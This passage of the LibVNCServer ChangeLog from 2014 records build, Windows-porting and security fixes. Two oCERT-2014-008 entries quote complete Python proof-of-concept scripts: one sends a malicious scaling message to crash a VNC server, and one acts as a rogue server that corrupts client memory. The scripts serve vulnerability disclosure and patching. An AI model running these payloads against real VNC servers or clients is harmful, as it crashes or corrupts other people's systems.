VNC scaling message can lead to a free occurring. else { rfbResizeFrameBufferMsg rmsg; rmsg.type = rfbResizeFrameBuffer; rmsg.pad1=0; rmsg.framebufferWidth = + Swap16IfLE(cl->scaledScreen->width); rmsg.framebufferHeigth + = Swap16IfLE(cl->scaledScreen->height); rfbLog("Sending a response + to a UltraVNC style frameuffer resize event (%dx%d)\n", + cl->scaledScreen->width, cl->scaledScreen->height); if + (rfbWriteExact(cl, (char *)&rmsg, sz_rfbResizeFrameBufferMsg) < 0) { + rfbLogPerror("rfbNewClient: write"); rfbCloseClient(cl); rfbClientConnectionGone(cl); << Call which may can lead + to a free. return FALSE; } } return TRUE; Once this function returns, eventually rfbClientConnectionGone is + called again on the return from rfbProcessClientNormalMessage. In + KRFB server this leads to an attempt to access client->data. POC script to trigger the vulnerability: ---snip--- import socket,binascii,struct,sys from time import sleep class RFB: INIT_3008 = "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x30\x38\x0a" AUTH_NO_PASS = "\x01" AUTH_PASS = "\x02" SHARE_DESKTOP = "\x01" def AUTH_PROCESS(self,data,flag): if flag == 0: # Get security types secTypeCount = data[0] secType = {} for i in range(int(len(secTypeCount))): secType[i] = data[1] return secType elif flag == 1: # Get auth result # 0 means auth success # 1 means failure return data[3] def AUTH_PROCESS_CHALLENGE(self, data, PASSWORD): try: from Crypto.Cipher import DES except: print "Error importing crypto. Please fix or do not + require authentication" sys.exit(1) if len(PASSWORD) != 8: PASSWORD = PASSWORD.ljust(8, '\0') PASSWORD_SWAP = + + [self.reverse_bits(ord(PASSWORD[0])),self.reverse_bits(ord(PASSWORD[1])),self.reverse_bits(ord(PASSWORD[2])),self.reverse_bits(ord(PASSWORD[3])),self.reverse_bits(ord(PASSWORD[4])),self.reverse_bits(ord(PASSWORD[5])),self.reverse_bits(ord(PASSWORD[6])),self.reverse_bits(ord(PASSWORD[7]))]PASSWORD = + + + + (struct.pack("BBBBBBBB",PASSWORD_SWAP[0],PASSWORD_SWAP[1],PASSWORD_SWAP[2],PASSWORD_SWAP[3],PASSWORD_SWAP[4],PASSWORD_SWAP[5],PASSWORD_SWAP[6],PASSWORD_SWAP[7]))crypto = DES.new(PASSWORD) return crypto.encrypt(data) def reverse_bits(self,x): a=0 for i in range(8): a += ((x>>i)&1)<<(7-i) return a def main(argv): print "Proof of Concept" print "Copyright TELUS Security Labs" print "All Rights Reserved.\n" try: HOST = sys.argv[1] PORT = int(sys.argv[2]) except: print "Usage: python setscale_segv_poc.py + [password]" sys.exit(1) try: PASSWORD = sys.argv[3] except: print "No password supplied" PASSWORD = "" vnc = RFB() remote = socket.socket(socket.AF_INET, socket.SOCK_STREAM) remote.connect((HOST,PORT)) # Get server version data = remote.recv(1024) # Send 3.8 version remote.send(vnc.INIT_3008) # Get supported security types data = remote.recv(1024) # Process Security Message secType = vnc.AUTH_PROCESS(data,0) if secType[0] == "\x02": # Send accept for password auth remote.send(vnc.AUTH_PASS) # Get challenge data = remote.recv(1024) # Send challenge response remote.send(vnc.AUTH_PROCESS_CHALLENGE(data,PASSWORD)) elif secType[0] == "\x01": # Send accept for None pass remote.send(vnc.AUTH_NO_PASS) else: print 'The server sent us something weird during auth.' sys.exit(1) # Get result data = remote.recv(1024) # Process result result = vnc.AUTH_PROCESS(data,1) if result == "\x01": # Authentication failure. data = remote.recv(1024) print 'Authentication failure. Server Reason: ' + str(data) sys.exit(1) elif result == "\x00": print "Authentication success." else: print 'Some other authentication issue occured.' sys.exit(1) # Send ClientInit remote.send(vnc.SHARE_DESKTOP) # Send malicious message print "Sending malicious data..." remote.send("\x08\x08\x00\x00") remote.close() if __name__ == "__main__": main(sys.argv) ---snap--- + +2014-10-14 dscho + + * : Merge pull request #43 from maksqwe/fix_rfbSelectBox Fix selData.buttonWidth calculation + +2014-10-10 Christian Beier + + * libvncclient/rfbproto.c: Fix possible libvncclient ServerInit + memory corruption. This fixes the following oCERT report (oCERT-2014-008 pt.2): There is a similar vulnerability to the previous one I sent. This is + related to the ServerInit message where the width, the height of the + server's framebuffer, its pixel format, and the name are sent to the + client. The name can be used in a malicious manner to trigger a + memory corruption in the client. Field Size --------------------------------- name-length + [4] name-string [name-length] Below you will find a PoC script to show the vulnerability. This was + tested on Fedora 20 with the latest version of krdc. I have noticed something, where the memory corruption causes the + program to hang but allows you to try to disconnect. After this it + hangs. Occasionally there will be segmentation fault in memcpy. This + can become more reliable if you connect to a different VNC server + first (Or the wrong port on the malicious server) then connecting to + the malicious port. Every time I accidentally made the wrong VNC + connection attempt the next time I connected it segfault'd. Just run the script it will listen on port 5900 and connect to it + with krdc for example. I have observed Remmina crash more reliably. import socket,struct,sys HOST = "" PORT = 5900 c = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + c.bind((HOST,PORT)) c.listen(1) conn,addr = c.accept() print "Connected by ", addr protocolVersion3008 = + "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x30\x38\x0a" + conn.send(protocolVersion3008) data = conn.recv(1024) # Receive the version from them. secTypeNone = "\x01\x01" secTypeAuth = "\x01\x02" + conn.send(secTypeNone) data = conn.recv(1024) # Receive the secType choice from them. secResultOk = "\x00" * 4 secResultNo = "\x00\x00\x00\x01" + conn.send(secResultOk) data = conn.recv(1024) # Receive the ClientInit (Shared-flag). frameBufferWidth = 0x0480 frameBufferHeight = 0x0360 bitsPerPixel = + 0x20 depth = 0x18 bigEndian = 0x1 trueColor = 0x0 redM = 0x0 greenM + = 0x0 blueM = 0x0 redS = 0x0 greenS = 0x0 blueS = 0x0 padding = + "\x00\x00\x00" nameLength = 0xffffffff nameString = "AA" * 0xFFFF + + "\x00\x0a" conn.send( struct.pack(">HHBBBBHHHBBB",frameBufferWidth, + frameBufferHeight, bitsPerPixel, depth, bigEndian, trueColor, redM, + greenM, blueM, redS, greenS, blueS) + padding + struct.pack(">I", + nameLength) + nameString ) c.close() + +2014-10-10 Christian Beier + + * libvncclient/sockets.c: Fix potential memory corruption in + libvncclient. Fixes (maybe amongst others) the following oCERT report + ([oCERT-2014-008]): LibVNCServer HandleRFBServerMessage rfbServerCutText malicious + msg.sct.length It looks like there may be a chance for potential memory corruption + when a LibVNCServer client attempts to process a Server Cut Text + message. case rfbServerCutText: { char *buffer; if (!ReadFromRFBServer(client, ((char *)&msg) + 1, sz_rfbServerCutTextMsg - 1)) return FALSE; msg.sct.length = rfbClientSwap32IfLE(msg.sct.length); << + Retrieve malicious length buffer = malloc(msg.sct.length+1); << Allocate buffer. Can + return 0x0 if (!ReadFromRFBServer(client, buffer, msg.sct.length)) << + Attempt to write to buffer return FALSE; buffer[msg.sct.length] = 0; << Attempt to write to buffer if (client->GotXCutText) client->GotXCutText(client, buffer, msg.sct.length); << + Attempt to write to buffer free(buffer); break; } If a message is provided with an extremely large size it is possible + to cause the malloc to fail, further leading to an attempt to write + 0x0. + +2014-10-09 Christian Beier + + * NEWS: Update NEWS for 0.9.10. + +2014-10-09 Christian Beier + + * AUTHORS: Update AUTHORS. + +2014-10-07 dscho + + * : Merge pull request #42 from LibVNC/autotools-fix-revisited Add autoconf macros that might not be installed with a usual + autotools setup + +2014-10-07 Johannes Schindelin + + * autogen.sh: Add back a working autogen.sh There was no reason to get rid of the convenient script. Most + developers who are not in love with autoconf fail to remember that + autoreconf invocation, therefore it is better to have something + working in place. Signed-off-by: Johannes Schindelin + +2014-09-01 Nicolas Ruff + + * libvncserver/rfbserver.c: Fix stack-based buffer overflow There was a possible buffer overflow in rfbFileTransferOffer message + when processing the FileTime. Signed-off-by: Johannes Schindelin + +2014-10-07 dscho + + * : Merge pull request #41 from newsoft/master Fixing 2 security issues + +2014-10-06 newsoft + + * libvncserver/scale.c: Make sure that no integer overflow could + occur during scaling + +2014-10-06 Christian Beier + + * libvncclient/Makefile.am: Add libvncclient/h264.c to dist tarball. Otherwise the sources from a 'make dist' package wouldn't compile. + +2014-10-03 Christian Beier + + * m4/.gitignore: Really add empty m4 subdirectory. This change kinda got lost with the last commit re-splitting. + +2014-10-02 Christian Beier + + * : Merge pull request #38 from LibVNC/autotools-fix-revisited Autotools fix revisited. + +2014-10-02 Christian Beier + + * webclients/novnc/LICENSE.txt, webclients/novnc/README.md, + webclients/novnc/include/base.css, + webclients/novnc/include/base64.js, + webclients/novnc/include/black.css, + webclients/novnc/include/blue.css, + webclients/novnc/include/chrome-app/tcp-client.js, + webclients/novnc/include/des.js, + webclients/novnc/include/display.js, + webclients/novnc/include/input.js, + webclients/novnc/include/jsunzip.js, + webclients/novnc/include/keyboard.js, + webclients/novnc/include/keysym.js, + webclients/novnc/include/keysymdef.js, + webclients/novnc/include/playback.js, + webclients/novnc/include/rfb.js, webclients/novnc/include/ui.js, + webclients/novnc/include/util.js, + webclients/novnc/include/web-socket-js/web_socket.js, + webclients/novnc/include/websock.js, + webclients/novnc/include/webutil.js, webclients/novnc/vnc.html, + webclients/novnc/vnc_auto.html: Update noVNC HTML5 client to latest + version from https://github.com/kanaka/noVNC. + +2014-09-21 Brian Bidulock + + * .gitignore: add a few more ignores + +2014-09-21 Brian Bidulock + + * autogen.sh: removed autogen.sh - no longer applicable: use autoreconf -fiv + +2014-10-02 Christian Beier + + * INSTALL, acinclude.m4, ltmain.sh: Remove autotools-related files + that will get installed by autoreconf -i. + +2014-10-02 Brian Bidulock + + * Makefile.am, configure.ac: Use an m4 script subdirectory, fix + automake init and two macro names. + +2014-10-02 Brian Bidulock + + * client_examples/Makefile.am, examples/Makefile.am, + examples/android/Makefile.am, libvncclient/Makefile.am, + libvncserver/Makefile.am, test/Makefile.am: Rename obsolete INCLUDES + to AM_CPPFLAGS + +2014-09-30 Johannes Schindelin + + * libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c: + Close unclosed comments ;-) Signed-off-by: Johannes Schindelin + +2014-09-30 dscho + + * : Merge pull request #36 from danielgindi/master A forgotten `#ifdef WIN32` broke UNIX build. + +2014-09-30 dscho + + * : Merge pull request #33 from danielgindi/master More MSVC adjustments, now focuses on the libvncserver + +2014-09-20 Daniel Cohen Gindi + + * libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c: + These are UNIX headers, and are not available on MSVC + +2014-09-20 Daniel Cohen Gindi + + * rfb/rfb.h: Those are generally the windows headers, not just MinGW + +2014-09-20 Daniel Cohen Gindi + + * libvncserver/rfbserver.c: On windows, use the Win32 calls for + directory enumerations. We also do not need the conversion between UNIX values to Windows + values in the RTF_FIND_DATA struct, as we already are on windows. + +2014-09-20 Daniel Cohen Gindi + + * libvncserver/httpd.c, libvncserver/rfbserver.c, + libvncserver/sockets.c, rfb/rfbclient.h: Generally adjusting headers + for compiling on windows without the mixing of Winsock 1 and 2. + +2014-09-20 Daniel Cohen Gindi + + * libvncserver/rfbserver.c: Just use a macro to bridge to the Win32 + version of `mkdir` The additional compat_mkdir function was not necessary at all. + +2014-09-20 Daniel Cohen Gindi + + * compat/msvc/sys/time.h: Use correct `winsock2.h` version header + instead of winsock.h. `windows.h` is referring to `winsock.h` (unless the + `WIN32_LEAN_AND_MEAN` is defined). The structs used in this header + are defined in `winsock2.h` or in `winsock.h`, but we are using + Winsock2 of course! So we have to include winsock2.h and refrain + from including windows.h here + +2014-09-20 Daniel Cohen Gindi + + * libvncserver/httpd.c, libvncserver/rfbserver.c, + libvncserver/sockets.c: Fixed a violation of the C89 standard + ("declarations must come before instructions") + +2014-09-20 Daniel Cohen Gindi + + * libvncserver/tightvnc-filetransfer/filetransfermsg.c: A windows + version for directory enumerations Basically taken from https://github.com/danielgindi/FileDir with + some adjustments + +2014-09-20 Daniel Cohen Gindi + + * libvncserver/tightvnc-filetransfer/filetransfermsg.c: MSVC also + has the __FUNCTION__ predefined + +2014-09-20 Daniel Cohen Gindi + + * libvncserver/tightvnc-filetransfer/filetransfermsg.c, + libvncserver/tightvnc-filetransfer/filetransfermsg.h: + `CreateDirectory` might clash with the + `CreateDirectoryA`/`CreateDirectoryW` macros on MSVC + +2014-09-20 Daniel Cohen Gindi + + * libvncserver/tightvnc-filetransfer/filetransfermsg.c: Fail when + NULL is passed to CreateFileListInfo() Passing NULL to sprintf() would most likely crash the program. + +2014-09-20 Daniel Cohen Gindi + + * libvncclient/rfbproto.c, libvncclient/vncviewer.c, + libvncserver/rfbserver.c, libvncserver/sockets.c, + libvncserver/stats.c, libvncserver/websockets.c: `strings.h` and + `resolv.h` are not available on MSVC, and some POSIX functions are + renamed or deprecated For all of those missing/deprecated POSIX functions, we just add a + macro mapping to the _underscored version of MSVC. + +2014-09-09 Christian Beier + + * client_examples/Makefile.am: The HAVE_X11 define is not there + anymore, but we don't need it either. + +2014-09-09 Christian Beier + + * Makefile.am, configure.ac, vncterm/ChangeLog, vncterm/LinuxVNC.c, + vncterm/Makefile.am, vncterm/README, vncterm/TODO, + vncterm/VNCommand.c, vncterm/VNConsole.c, vncterm/VNConsole.h, + vncterm/example.c, vncterm/vga.h: Move vncterm to + https://github.com/LibVNC/vncterm. + +2014-09-09 Christian Beier + + * VisualNaCro/.gitignore, VisualNaCro/AUTHORS, + VisualNaCro/ChangeLog, VisualNaCro/Makefile.am, VisualNaCro/NEWS, + VisualNaCro/README, VisualNaCro/autogen.sh, + VisualNaCro/configure.ac, VisualNaCro/default8x16.h, + VisualNaCro/nacro.c, VisualNaCro/nacro.h, VisualNaCro/recorder.pl: + Move VisualNaCro to https://github.com/LibVNC/VisualNaCro. + +2014-09-09 Christian Beier + + * prepare_x11vnc_dist.sh: Move prepare_x11vnc_dist.sh over to x11vnc + repo. + +2014-09-03 Christian Beier + + * Makefile.am, configure.ac: Remove x11vnc from autotools build + system. + +2014-09-03 Christian Beier + + * tightvnc-1.3dev5-vncviewer-alpha-cursor.patch: Remove + tightvnc-1.3dev5-vncviewer-alpha-cursor.patch. + +2014-09-03 Christian Beier + + * x11vnc/.cvsignore, x11vnc/8to24.c, x11vnc/8to24.h, + x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/README, + x11vnc/RELEASE-NOTES, x11vnc/allowed_input_t.h, x11vnc/appshare.c, + x11vnc/avahi.c, x11vnc/avahi.h, x11vnc/blackout_t.h, + x11vnc/cleanup.c, x11vnc/cleanup.h, x11vnc/connections.c, + x11vnc/connections.h, x11vnc/cursor.c, x11vnc/cursor.h, + x11vnc/enc.h, x11vnc/enums.h, x11vnc/gui.c, x11vnc/gui.h, + x11vnc/help.c, x11vnc/help.h, x11vnc/inet.c, x11vnc/inet.h, + x11vnc/keyboard.c, x11vnc/keyboard.h, x11vnc/linuxfb.c, + x11vnc/linuxfb.h, x11vnc/macosx.c, x11vnc/macosx.h, + x11vnc/macosxCG.c, x11vnc/macosxCG.h, x11vnc/macosxCGP.c, + x11vnc/macosxCGP.h, x11vnc/macosxCGS.c, x11vnc/macosxCGS.h, + x11vnc/macosx_opengl.c, x11vnc/macosx_opengl.h, + x11vnc/misc/.cvsignore, x11vnc/misc/LICENSE, + x11vnc/misc/Makefile.am, x11vnc/misc/README, x11vnc/misc/Xdummy, + x11vnc/misc/blockdpy.c, x11vnc/misc/connect_switch, + x11vnc/misc/desktop.cgi, x11vnc/misc/dtVncPopup, + x11vnc/misc/enhanced_tightvnc_viewer/COPYING, + x11vnc/misc/enhanced_tightvnc_viewer/README, + x11vnc/misc/enhanced_tightvnc_viewer/Windows/README.txt, + x11vnc/misc/enhanced_tightvnc_viewer/Windows/sshvnc.bat, + x11vnc/misc/enhanced_tightvnc_viewer/Windows/tsvnc.bat, + x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/connect_br.tcl, + x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/esound/downl + oad.url, + x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/openssl/down + load.url, + x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/openssl/loca + tion.url, + x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/plink/downlo + ad.url, + x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/plink/licenc + e.url, + x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/stunnel/down + load.url, + x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/stunnel/loca + tion.url, + x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/vncviewer/do + wnload.url, + x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/vncviewer/lo + cation.url, + x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/stunnel-client.co + nf, + x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/stunnel-server.co + nf, + x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/w98/location.url, + x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.Power.Macintosh/.cp + over, + x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.Power.Macintosh/vnc + viewer.sh, + x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.i386/.cpover, + x11vnc/misc/enhanced_tightvnc_viewer/bin/sshvnc, + x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc, + x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, + x11vnc/misc/enhanced_tightvnc_viewer/bin/tsvnc, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/stunnel-server.conf, + x11vnc/misc/enhanced_tightvnc_viewer/build.unix, + x11vnc/misc/enhanced_tightvnc_viewer/filelist.txt, + x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvnc.1, + x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1, + x11vnc/misc/enhanced_tightvnc_viewer/src/README, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/README, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_getpatches, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_vncpatchapplied, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/stunnel-maxconn.pa + tch, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu + ll.patch, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu + llscreen.patch, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-ne + wfbsize.patch, + x11vnc/misc/enhanced_tightvnc_viewer/src/zips/README, + x11vnc/misc/enhanced_tightvnc_viewer/ssvnc.desktop, + x11vnc/misc/inet6to4, x11vnc/misc/panner.pl, + x11vnc/misc/qt_tslib_inject.pl, x11vnc/misc/ranfb.pl, + x11vnc/misc/rx11vnc, x11vnc/misc/rx11vnc.pl, x11vnc/misc/shm_clear, + x11vnc/misc/slide.pl, x11vnc/misc/turbovnc/Makefile.am, + x11vnc/misc/turbovnc/README, x11vnc/misc/turbovnc/apply_turbovnc, + x11vnc/misc/turbovnc/convert, + x11vnc/misc/turbovnc/convert_rfbserver, + x11vnc/misc/turbovnc/tight.c, x11vnc/misc/turbovnc/turbojpeg.h, + x11vnc/misc/turbovnc/undo_turbovnc, x11vnc/misc/uinput.pl, + x11vnc/misc/ultravnc_repeater.pl, x11vnc/misc/vcinject.pl, + x11vnc/misc/x11vnc_loop, x11vnc/misc/x11vnc_pw, x11vnc/nox11.h, + x11vnc/nox11_funcs.h, x11vnc/options.c, x11vnc/options.h, + x11vnc/params.h, x11vnc/pm.c, x11vnc/pm.h, x11vnc/pointer.c, + x11vnc/pointer.h, x11vnc/rates.c, x11vnc/rates.h, x11vnc/remote.c, + x11vnc/remote.h, x11vnc/scan.c, x11vnc/scan.h, x11vnc/screen.c, + x11vnc/screen.h, x11vnc/scrollevent_t.h, x11vnc/selection.c, + x11vnc/selection.h, x11vnc/solid.c, x11vnc/solid.h, + x11vnc/sslcmds.c, x11vnc/sslcmds.h, x11vnc/sslhelper.c, + x11vnc/sslhelper.h, x11vnc/ssltools.h, x11vnc/tkx11vnc, + x11vnc/tkx11vnc.h, x11vnc/uinput.c, x11vnc/uinput.h, + x11vnc/unixpw.c, x11vnc/unixpw.h, x11vnc/user.c, x11vnc/user.h, + x11vnc/userinput.c, x11vnc/userinput.h, x11vnc/util.c, + x11vnc/util.h, x11vnc/v4l.c, x11vnc/v4l.h, x11vnc/win_utils.c, + x11vnc/win_utils.h, x11vnc/winattr_t.h, x11vnc/x11vnc.1, + x11vnc/x11vnc.c, x11vnc/x11vnc.desktop, x11vnc/x11vnc.h, + x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, x11vnc/xdamage.h, + x11vnc/xevents.c, x11vnc/xevents.h, x11vnc/xinerama.c, + x11vnc/xinerama.h, x11vnc/xkb_bell.c, x11vnc/xkb_bell.h, + x11vnc/xrandr.c, x11vnc/xrandr.h, x11vnc/xrecord.c, + x11vnc/xrecord.h, x11vnc/xwrappers.c, x11vnc/xwrappers.h: Remove + x11vnc subdir. The new x11vnc repo is at https://github.com/LibVNC/x11vnc. + +2014-09-02 Johannes Schindelin + + * libvncclient/tls_openssl.c: Fix tv_usec calculation This bug was introduced in the MSVC patches. Signed-off-by: Johannes Schindelin + +2014-08-29 Daniel Cohen Gindi + + * libvncclient/tls_openssl.c: Use Windows' critical sections to + emulate pthread's mutexes With Microsoft Visual C++, we cannot use pthreads (MinGW sports an + emulation library which is the reason we did not need + Windows-specific hacks earlier). Happily, it is very easy to provide + Windows-specific emulations for the pthread calls we use. [JES: fixed commit message] Signed-off-by: Johannes Schindelin + +2014-08-29 Daniel Cohen Gindi + + * libvncclient/zrle.c: Perform pointer arithmetic on char * instead + of void * Microsoft Visual C++ does not allow pointer arithmetic on void + pointers. [JES: fixed commit message] Signed-off-by: Johannes Schindelin + +2014-08-29 Daniel Cohen Gindi + + * libvncclient/tls_openssl.c, rfb/rfbproto.h: MSVC: Use the Unix + emulation headers [JES: provided commit message, split out unrelated changes] Signed-off-by: Johannes Schindelin + +2014-08-29 Daniel Cohen Gindi + + * libvncclient/listen.c, libvncclient/sockets.c, + libvncclient/vncviewer.c: Use WIN32 for Windows-specific #ifdef + guards To support Microsoft Visual C++, we must not guard Windows-specific + code in MinGW-specific #ifdef guards. Happily, even 64-bit MSVC defines the WIN32 constant, therefore we + can use that instead. [JES: fixed commit message, reordered commit, split out unrelated + changes] Signed-off-by: Johannes Schindelin + +2014-08-29 Daniel Cohen Gindi + + * compat/msvc/stdint.h, compat/msvc/sys/time.h, + compat/msvc/unistd.h: Add MSVC compatible unix headers The stdint.h file was copied from: + https://runexe.googlecode.com/svn-history/r9/trunk/src/runlib/msstdint.h(we can incorporate it because it is licensed under the 3-clause BSD + license.) [JES: fixed commit message, fixed stripped copyright header] Signed-off-by: Johannes Schindelin + +2014-09-01 Daniel Cohen Gindi + + * libvncclient/rfbproto.c, libvncclient/sockets.c, + libvncclient/tls_openssl.c: MSVC: Use _snprintf instead of snprintf In Microsoft's Visual C runtime, the snprintf() function is actually + called _snprintf. Let's just #define the former to call the latter. [JES: fixed commit message] Signed-off-by: Johannes Schindelin + +2014-09-01 Daniel Cohen Gindi + + * rfb/rfbproto.h: Use correct winsock header We link to ws2_32.lib which corresponds to the winsock2.h header, + not the winsock.h header. [JES: fixed commit message] Signed-off-by: Johannes Schindelin + +2014-08-29 Daniel Cohen Gindi + + * libvncclient/vncviewer.c: Include Winsock2 header before windows.h + include That's because there are duplicate #defines, and when Winsock2 is + defined before windows.h then windows.h detects that and prevent + redefinition. See + + http://social.msdn.microsoft.com/Forums/windowsdesktop/en-US/4a90b143-1fb8-43e9-a54c-956127e0c579/windowsh-and-winsock2h?forum=windowssdk[JES: fixed commit message] Signed-off-by: Johannes Schindelin + +2014-09-01 Daniel Cohen Gindi + + * libvncclient/tls_openssl.c: Remove unused variables This change is technically not required to support MSVC, but it was + detected by Microsoft's compiler. [JES: fixed commit message] Signed-off-by: Johannes Schindelin + +2014-08-26 dscho + + * : Merge pull request #21 from newsoft/master Fixing two more security issues (remote server crash) + +2014-08-18 Nicolas Ruff + + * libvncserver/rfbserver.c: Check malloc() return value on + client->server ClientCutText message. Client can send up to 2**32-1 + bytes of text, and such a large allocation is likely to fail in case + of high memory pressure. This would in a server crash (write at + address 0). + +2014-08-16 dscho + + * : Merge pull request #16 from sandsmark/master Merge patches from KDE/krfb + +2014-08-16 Johannes Schindelin + + * acinclude.m4: Fix whitespace Signed-off-by: Johannes Schindelin + +2014-08-10 Luca Falavigna + + * acinclude.m4: Enable support for ppc64el architecture + +2014-08-10 Luca Falavigna + + * libvncclient.pc.in, libvncserver.pc.in: Use Libs.private to avoid + unnecessary linkage + +2014-08-16 Johannes Schindelin + + * libvncclient/rfbproto.c, libvncclient/vncviewer.c: Fix indentation Signed-off-by: Johannes Schindelin + +2014-08-16 dscho + + * : Merge pull request #20 from newsoft/master Fix integer overflow in MallocFrameBuffer() + +2014-08-15 newsoft + + * libvncclient/vncviewer.c: Fix integer overflow in + MallocFrameBuffer() Promote integers to uint64_t to avoid integer overflow issue during + frame buffer allocation for very large screen sizes + +2013-09-28 Amandeep Singh + + * libvncserver/sockets.c: allow rfbInitSockets with non-ready + states. This allows for reinitializations of e. g. sockets in a SHUTDOWN + state. The only state that doesn't make sense to reinitialize are + READY states. + +2013-10-09 Amandeep Singh + + * libvncserver/main.c: Fix crash in krfb Krfb crashes on quit, if any client is connected due to a + rfbClientConnectionGone call missing + +2014-07-10 Will Thompson + + * x11vnc/xrandr.c: x11vnc: fix double X_UNLOCK on xrandr events check_xrandr_event() assumes X_LOCK is taken before it is called, + and currently calls X_UNLOCK on behalf of the caller. But in + practice, all callers assume that the lock is still held after + check_xrandr_event() returns. In particular, this leads to a + double-unlock and crash in check_xevents() on any xrandr event. + +2014-07-18 dscho + + * : Merge pull request #13 from + wjt/fix-double-X_UNLOCK-on-xrandr-event x11vnc: fix double X_UNLOCK on xrandr events + +2014-06-27 Johannes Schindelin + + * common/lzoconf.h, common/lzodefs.h, common/minilzo.c, + common/minilzo.h: Update LZO to version 2.07 It was reported that LZO has security issues in LMS-2014-06-16-1: + Oberhumer LZO (CVE-2014-4607): + http://seclists.org/oss-sec/2014/q2/665 This was also reported by Alex Xu as + https://github.com/LibVNC/libvncserver/issues/9. Signed-off-by: Johannes Schindelin + +2014-06-23 dscho + + * : Merge pull request #7 from waldheinz/init-sfae-padding Initialize padding in SetFormatAndEncodings' rfbSetPixelFormatMsg. + +2014-06-23 Matthias Treydte + + * libvncclient/rfbproto.c: Initialize padding in + SetFormatAndEncodings' rfbSetPixelFormatMsg. + +2014-06-23 Matthias Treydte + + * CMakeLists.txt: Use CMAKE_CURRENT_*_DIR instead of CMAKE_*_DIR. This makes the library friendly to use as a git submodule within + another project, and should change nothing when compiled alone. For example when having a directory structure like + "my_project/external/libvnc", where in libvnc resides a checkout of + libvncserver, one can just reference that directory from the + CMakeLists.txt in my_project with > add_directory ( external/libvnc ) and add vncclient / vncserver in my_project's taret_link_libraries, + one can just hack away without having to manually make / install + LibVNCServer whenever something is changed there. + +2014-05-14 dscho + + * : Merge pull request #4 from dextero/master x11vnc: adjust blackout region coordinates to the clipping region + +2014-04-05 Johannes Schindelin + + * libvncclient/rfbproto.c: libvncclient: If we have TLS support, + enable VeNCrypt by default Signed-off-by: Johannes Schindelin + +2014-04-05 Johannes Schindelin + + * .gitignore: Ignore the 'mac' example, too Signed-off-by: Johannes Schindelin + +2014-04-05 Johannes Schindelin + + * .gitignore: Ignore the vencrypt document https://www.berrange.com/~dan/vencrypt.txt Signed-off-by: Johannes Schindelin + +2014-04-05 Johannes Schindelin + + * .gitignore: Ignore rfbproto.rst A more up-to-date version of the RFB protocol is maintained by + TigerVNC: + http://sourceforge.net/p/tigervnc/code/HEAD/tree/rfbproto/rfbproto.rstSigned-off-by: Johannes Schindelin + +2014-03-29 Johannes Schindelin + + * examples/repeater.c: Repeater example: show how to shut down + cleanly Since we connected to the client through the repeater, chances are + that we want this server shut down once the client disconnected. Signed-off-by: Johannes Schindelin + +2014-03-29 Johannes Schindelin + + * .gitignore, examples/Makefile.am, examples/repeater.c: Add an + example how to connect to an UltraVNC-style repeater UltraVNC offers an add-on to connect clients and servers via IDs + with a so-called repeater (e.g. to bridge firewalled clients and + servers): http://www.uvnc.com/products/uvnc-repeater.html This example demonstrates how to use that feature with a + LibVNCServer-based server. Signed-off-by: Johannes Schindelin + +2014-04-05 Christian Beier + + * configure.ac, webclients/novnc/README.md, + webclients/novnc/vnc.html: Update sourceforge links to point to + github. + +2014-03-31 Johannes Schindelin + + * libvncserver/rfbregion.c: Fix tyop Signed-off-by: Johannes Schindelin + +2014-03-30 Johannes Schindelin + + * .gitignore: Ignore more generated files While at it, also ignore the documentation of the RFB protocol best + downloaded manually from http://www.realvnc.com/docs/rfbproto.pdf Signed-off-by: Johannes Schindelin + +2014-03-30 Robbert Klarenbeek + + * libvncclient/vncviewer.c: Address #12 ClientData does not get + freed rfbClientSetClientData() allocates a new rfbClientData, but never + gets cleaned up, which causes memory leaks. Signed-off-by: Johannes Schindelin + +2014-03-30 Johannes Schindelin + + * examples/example.c, test/encodingstest.c: After free()ing + clientData, set it to NULL We will change rfbClientCleanup() to free the data. Signed-off-by: Johannes Schindelin + +2013-02-27 Joel Martin + + * libvncserver/websockets.c: Set opcode correctly for binary frames. + +2013-01-25 Christian Beier + + * rfb/rfbproto.h: Remove unneeded #ifdefs. + +2013-01-25 Christian Beier + + * rfb/rfbclient.h: Fix ABI compatibility issue. + +2013-01-09 David Verbeiren + + * client_examples/gtkvncviewer.c, configure.ac, + libvncclient/Makefile.am, libvncclient/h264.c, + libvncclient/rfbproto.c, libvncclient/vncviewer.c, rfb/rfbclient.h, + rfb/rfbproto.h: 